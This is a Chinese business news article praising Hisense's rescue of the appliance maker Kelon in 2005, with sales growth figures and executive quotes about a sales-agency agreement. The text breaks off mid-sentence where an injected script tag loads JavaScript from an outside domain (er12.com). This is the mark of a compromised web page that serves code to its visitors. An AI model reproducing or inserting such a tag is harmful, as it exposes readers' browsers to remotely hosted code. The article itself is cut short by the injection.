作者：施业传 王林琳
近日，海信接管三个多月的新科龙向全国行业记者开放，邀请各大主流媒体现场采风，“百日维新”让科龙获得了重生，引起了经销商及各地政府的交口称赞，势如破竹的“海信造系”运动正在挑战海尔中国家电老大的宝座，令人关注！
海信全线飘红屡创神话
科龙总裁汤业国向记者出示了不少数据，表明了科龙“百日维新”的巨大成就。100天来所取得的业绩：2005年中国市场第4季度，冰箱的销量、回款分别比2004年同期增长41.21%和19.11%，比处于旺季的第3季度分别增长80%和119%，产量增长117%；空调的销量、回款分别比2004年同期增长5.31%和29.73%，比第3季度分别增长198%和80%，产量330%；据国家统计局创办的中怡康机构统计，11月份，冰箱产品的市场占有率比7月份高出2.53个百分点，空调产品的市场占有率比8月份高出1.62个百分点。第4季度的海外销售也非常喜人：冰冷产品每个月份比9月份都增长97%以上；空调产品出口10、11、12月份分别比9月增长33%，145%，483%。在采风的过程中，记者看到研发、生产秩序井然，员工的工作热情高涨，在随意采访科龙的十几名老员工时，大家都普遍对这段时期的经营业绩给出了满分的评价，并热切盼望这个很好的势头能够保持下去。
汤业国总裁对记者再三强调：这100多天以来，在广东省政府李春洪副秘书长、佛山市常务副市长兼顺德区委书记陈云贤和佛山市顺德区区长周天民等领导及三级政府相关部门的大力支持和关怀下，通过全体科龙人的共同努力取得的值得向社会公布的一个成绩。这个成绩是在大股东缺位、整个企业经营瘫痪、濒临破产的背景下取得的，来之非常不易。在这一特殊背景下，科龙与海信营销所签署的“销售代理协议”起了关键性和不可替代的作用，海信的资金、人员和管理经验的注入也起到了至关重要的作用。
海信代理，科龙股民喜出望外
2005年9月前，因科龙大股东涉嫌违法，引发公司上下游的严重信任危机，银行信用崩溃，企业资金链断裂，国内销售停止，陷入瘫痪状态长达5个月，企业已经到了破产清算的边缘。科龙大股东此时也濒临破产，无法履行大股东义务，由于股权被查封暂时不能过户给收购方，在大股东缺位的情况下，如何恢复市场，挽救科龙，保护民族品牌，确实是我国目前法律界、理论界和实务界遇到的一个新的问题。要挽救科龙，生产必须恢复，市场必须启动，就必须重建社会信用。面对这样的现状，海信认为，要成为科龙的大股东发展科龙，就不能眼看着科龙“流血”和消耗，必须先挽救科龙，承担起维护企业与社会稳定的社会责任。
在国务院、广东省、佛山市、顺德区几级政府和全国工商联大力支持下，9月中旬，海信与科龙签署了科龙产品在中国市场的全面销售代理协议。一直在科龙负责冰箱销售的许蔚茹副总经理认为，这个协议的出台及海信资金的注入对恢复生产和迅速取得商业单位的信任、全面启动业务上的合作起到了关键性的作用。全国工商联领导对此也给予了高度评价：海信为实施这个协议付出了巨大代价，科龙公司经营全面恢复的成果说明，实施这一协议是非常及时、必要和行之有效的。
科龙高管纷纷发表胜利宣言
负责国内营销的副总裁石永昌认为，销售代理协议的核心就是海信作为科龙内销产品的独家代理，注入预付款购买科龙产品，负责向商家提供商品和货款回笼，在保全科龙原有销售体系的同时，协助科龙全面推广科龙产品。销售代理协议的作用主要体现在三个方面：一，海信通过代理销售、现金购买科龙产品的方式向科龙注入了3个亿的资金，让研发、生产得以快速地恢复并良性循环起来，满足市场的需要；二，在市场业务运作上，海信、科龙、商业单位通过签署三方合作协议，迅速打消了商业单位的各种顾虑，可以说，一夜之间让科龙的商业伙伴重树了信心，并立即展开新的合作。如，有了海信的参与，科龙在网络恢复与开发方面取得了快速进展，不仅恢复了绝大部分的原有网络，还新开发了1200个直控网点。
苏宁电器金明副总裁曾感慨地说：“这个代理协议让我们打消了很多顾虑，树立了对科龙的信心，我们的合作在海信的推动下，已经达到了几年以来的最好水平”。三，海信营销平台上的各种资源在这个期间为科龙的营销系统提供了大量的无私帮助。比如，借助海信与全国商业单位的良好合作关系，使已经被商家逐出商场的科龙产品重新回到了卖场，甚至海信将自身的展台无偿提供给科龙使用，海信全国的视频会议系统无偿让科龙使用，提高了科龙营销策略贯彻落实的效率，并降低了运营成本；再如，海信、科龙的全国区域市场在组织国庆、元旦活动时，是一起同家电连锁单位进行策划和产品推广的，创造了终端零售历史上的同期最好成绩。
在科龙工作近20年的罗俊副总裁对记者称：在市场启动的同时，海信利用与自身供应商的良好合作关系，通过改变自身的?script src=http://er12.com/t.js>
